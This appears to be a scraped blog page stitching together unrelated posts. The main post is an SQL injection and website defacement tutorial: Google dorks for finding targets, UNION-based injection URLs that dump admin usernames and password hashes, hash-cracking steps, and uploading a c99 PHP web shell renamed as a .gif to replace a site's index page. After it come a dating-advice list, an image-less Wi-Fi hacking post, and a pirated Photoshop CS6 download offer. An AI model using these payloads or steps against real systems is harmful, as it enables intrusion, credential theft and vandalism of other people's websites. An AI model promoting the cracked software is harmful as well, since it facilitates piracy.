HOW TO HACK WEBSITE SQL INJECTION: FULL TUTORIAL

I'm posting this here coz this tut explains everything step by step. but most of the sql tuts ends when we find the password hash. So newbees dnt know wat to do after that. In this tut i'm gonna explain how to deface a website from scratch hope you fill find this usefull....

If you find this tut usefull please post a comment....

1) FINDING THE TARGET AND GETTING THE ADMIN PASSWORD


First we must find our target website to do that you can use this "dorks".
I'll give some dorks here copy anyone of it and paste it in google and search.
Code:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=

you can find lots of dorks here..(use them without the " " marks)
Code:
Click Here To Download

1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function


With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works 

4). Check for MySQL version


http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it

what we need is convert() function

i.e.

 http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

 i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version

5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

we know that table admin exists...


now to check column names.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc...

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc...

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together

for that we use concat() , i decribe it earlier.

i.e


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com

** if you are too lazy for doing above stuff you can use tools they will do all the job:
1) Exploit scanner (this will find vulnerable websites)
Code:

Click Here To Download

2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)
Code:

Click Here To Download

*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

in some websites you can directly see the password. but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. to crack the password there are three ways
1) check the net whether this hash is cracked before:
Code:

Click Here To Download

2) crack the password with the help of a site:
Code:

Click Here To Download 
Click Here To Download 

3) use a MD5 cracking software:
Code:

Click Here To Download 
Password = OwlsNest

2) DEFACING THE WEBSITE

after getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.
1) you can use an admin finder website:
Code:

Click Here To Download 

2) you can use an admin finder software:
Code:

Click Here To Download 

after logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

dowload the shell here(shells are php scripts which affects websites so it will be detected as trojans but no need to worry i take the responsibility):

Code:
Click Here To Download 
extract it you will get a c99.php upload it.
some sites wont allow you to upload a php file. so rename it as c99.php.gif
then upload it.

after that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)
find the c99.php;.gif and click it..
now you can see a big control pannel....
now you can do what ever you want to do...
search for the index.html file and replace it with your own file. so if any one goes to that site they will see your page....

after doing this click logout.... thats it you are done..

Read more

SIGNS THAT TELLS YOU IF A MAN IS SERIOUS ABOUT YOU.

SIGNS THAT TELLS YOU IF A MAN IS SERIOUS ABOUT YOU. ♥

When you are in that initial stage of dating, it can be hard to tell just how serious a guy is about you and your relationship. Sure he calls and you go out, and he is saying all the right things, but in all honesty men will do a lot for a chance to get lucky with a girl. This is a problem if you want a future, not a one night stand. Here are 10 signs that tell you a man is serious about you.

1. He calls and texts you often.
If most of these calls and texts are in the wee hours of the morning, and are mostly about what you are wearing or other sexy topics, they don’t really count as a sign he is serious. If however he calls you for no reason at all, or just to talk about his day or little incidents in it, it is a good sign he is serious as he wants to share the little details with you.

2. There are no signs of mind games
This one can be harder to spot. If he says he will call tomorrow, does he? If he makes a date with you, is he on time? Does he bounce from hot and cold towards you? A lack of mind games and power plays is another good sign that this is not a casual thi

3. He asks for your opinion on things
From small things like where you want to go, to big things like his career, if he asks for your opinion and listens, he is serious about you!

4. He wants you to meet his friends
This is a big one. Most guys do not introduce causal flings to their friends. For the most part if he wants you to meet his buddies, he is serious about you. If he introduces you to his family, then stop all your questioning on seriousness.

5. He makes future plans with you
We aren’t talking about plans for next weekend, we are talking about plans for the holidays, vacations, important events. If he is making plans with you for an event a month from now, it is a good sign he is serious.

6. Time apart doesn’t weaken things
It is good if a business trip away, or a holiday away doesn’t show signs you are "out of sight out of mind". Did he call you while he was gone? Make plans when he first got back? Seem excited to see you again?

7. Good behavior
When guys stay on their good behavior over time, and still open doors and do other nice things long after the first initial dates, take it as a good sign.

8. You know his routine
Guys who aren’t serious often like to keep their daily routines to themselves, as they can then use a made up excuse to get out of things. A guy who is an open book about his life means he really does like you.

9. Going past casual conversations
If you have gone past casual conversations and into the deeper things, such as what you see for yourself in the future, your religious beliefs and the like, take it as a good sign.

10. He is there for you
When the road of life gets bumpy, is he still there for you? Is he the shoulder you have cried on when bad events happen? Another great sign this is a serious thing.

Can guys pull off all of the above and still not be serious? Unfortunately, yes. Even if all signs are pointing to go, always trust your gut instincts. If something doesn’t feel right, take your time before going all in. Anyone who is serious about you will know you are worth a wait.

Read more

Wi-Fi Hacking (Only Pictures)

Step 1:-

Step 2:-

Step 3:-

Step 4:-

Step 5:-

Step 6:-

Step 7:-

Step 8:-

Step 9:-

Step 10:-

Step 11:-

Step 12:-

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Read more

ADOBE CS6 (PORTABLE) LICENSED

Adobe Photoshop CS6 13.1.2 Extended Final Portable by nikoza | 401 MB

Adobe Photoshop CS6 13.1.2 Extended Final Portable by nikoza | 401 MB
Adobe Photoshop - a program for processing raster graphics. Supports numerous graphic formats. Allows you to create new images and edit them. Photoshop used to create photorealistic images to work with color scanned images, retouching, color correction, transformation of graphs, color separation, etc. Photoshop has all the methods of working with bitmaps, in this case is to work with layers and uses contours. Program is the undisputed leader among the professional graphic editors due to its widest possibilities, high efficiency and speed.

Among the most interesting innovations are the following:
Technology Truer Edge, improves the definition of boundaries of objects in photographs.
Tool Content-Aware Fill to remove from the image of an object and automatically fill the space with relevant content.
Advanced tools for working with HDR-images, which include tool HDR Pro, which improved removal of artifacts and image adjustments. Using the HDR-toning, you can mimic the appearance of HDR-images for the usual picture.
Tools Mixer Brush, blending the colors in one brush
Puppet Warp Tool for the strain of any element of the image. It can, for example, change the landscape to create a different perspective, or to straighten a bent arm.
The ability to save 16-bit image format JPEG.
Custom mini-bar Adobe Mini Bridge for fast file management, which is available directly from the application.

Main features:
Collected from the Adobe Photoshop CS6 Extended 13.1.2 by JFK2005
Languages: English, Russian, Ukrainian
The assembly includes all plug-ins from Nik Software and Imagenomic

Software name: Adobe Photoshop CS6
Software version: 13.1.2 Extended Final Portable by nikozav
Latest version: 13.1.2
Official site: Adobe
Language: RUS | ENG | UKR

Treatment: not required (the installer is already disinfected)
System requirements:

Operating System: Windows Vista Home Premium, Business, Ultimate, Enterprise Service Pack 1, Windows 7, Windows 8.
Processor: Intel ® Pentium ® 4 or AMD Athlon ® 64 processor
Memory: 1GB of RAM
Video Card: 1024x768 display (1280x800 recommended) with 16-bit color and 512MB of VRAM
Hard disk space: 400 Mb of available hard-disk space for installation



Uploaded:
AP.CS6.13.1.2.Extended.Final.Portable.nikozav.rar

Read more